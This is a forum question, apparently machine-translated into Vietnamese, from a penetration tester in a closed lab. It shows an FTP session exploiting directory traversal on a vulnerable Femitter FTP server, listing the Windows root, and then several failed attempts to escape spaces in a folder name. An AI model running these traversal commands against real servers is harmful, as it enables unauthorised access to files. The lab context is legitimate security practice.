Tôi đang tiến hành một pentest bị xử phạt trong một môi trường tham chiếu kín, và đấu tranh với một vấn đề có vẻ đơn giản, hiện tại tôi không thể giải quyết.
Khi cố gắng thực hiện một cuộc tấn công ngang qua thư mục đối với máy chủ FTP Fermitter dễ bị tổn thương chạy trên MS Windows OS, có thể thực hiện LIST trên root hệ thống (địa chỉ và danh sách nội dung được thay đổi ở đây chỉ để tham khảo):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Tuy nhiên, nếu tôi muốn liệt kê nội dung của một thư mục chứa các khoảng trắng như Documents and settings
, tôi không thể liệt kê nội dung thư mục vì các khoảng trắng bị bỏ qua.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Tôi đã thử sử dụng các máy khách FTP khác nhau (CLI và GUI, trên Linux và Windows) và chúng bỏ qua khoảng trắng hoặc không cho phép truyền tải thư mục.
Cũng đã thử kịch bản tấn công vào Python bằng cách sử dụng các ổ cắm thô đầu tiên và sau đó ftplib để gửi các lệnh ở định dạng HEX trực tiếp đến máy chủ FTP, nhưng không thành công.
Googling trong vài giờ không mang lại giải pháp làm việc (vâng, có rất nhiều lựa chọn, không hoạt động), đó là lý do tại sao có một người nào đó ở đây, người có cùng một vấn đề. Khá chắc chắn, rằng đây không phải là lần đầu tiên một thư mục ngang với các khoảng trắng là cần thiết.
\
hoặc trích dẫn chuỗi thư mục